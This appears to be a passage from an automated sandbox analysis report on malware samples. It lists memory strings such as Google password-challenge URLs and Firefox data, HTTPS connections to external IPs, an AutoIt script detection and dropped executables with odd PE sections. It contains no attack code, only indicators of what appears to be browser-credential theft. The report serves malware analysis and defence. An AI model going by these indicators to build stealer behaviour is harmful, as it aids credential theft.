Source: file.exe, 00000000.00000003.2142360796.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000162F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3110614517.000001708BF0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3088112226.000001708360F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3082674705.0000017083400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312875221.0000017084DF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3089312930.0000017083631000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3090212714.0000017083652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296245182.0000017083800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.00000170831BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001B.00000003.3203526143.000001708CD58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: file.exe, 00000000.00000003.2183302624.0000000005772000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3094262647.0000000005E33000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3203132359.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2183302624.0000000005772000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3094262647.0000000005E33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335798866.0000017085628000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3271364302.0000017080000000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.00000170831F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335798866.0000017085615000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.0000017083117000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3203132359.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.3306081297.0000017084582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: 26e226f915.exe, 0000000D.00000003.3094784478.0000000006106000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3204452985.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3145541986.0000017085580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 26e226f915.exe, 0000000D.00000003.3094784478.0000000006106000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3204452985.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 26e226f915.exe, 0000000D.00000003.3094784478.0000000006106000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335798866.0000017085605000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3204452985.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3271364302.0000017080000000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/PromiseUtils.sys.mjsresource://gre/module
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: file.exe, 00000000.00000003.2183850637.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.00000170839BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.0000017085290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.3298702178.0000017083BCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.000001708441B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001B.00000002.3303896282.0000017084303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321587430.0000017084F3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.00000170831A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3303238080.0000017084239000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3303896282.00000170843A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.000001708441B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312875221.0000017084DF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326376483.000001708512A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.0000017084499000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708313F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.3069443175.00000181E6B47000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3078393329.000001D91287A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdDownloader:onStopReq
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdfirefox-desktop-pass

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50082 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 90bef5afae.exe, 0000000E.00000000.3036690309.00000000006D2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_797f023c-1
Source: 90bef5afae.exe, 0000000E.00000000.3036690309.00000000006D2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_32466ea3-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name:
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: .idata
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name:
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name:
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: .rsrc
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: .idata
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name:
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name:
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
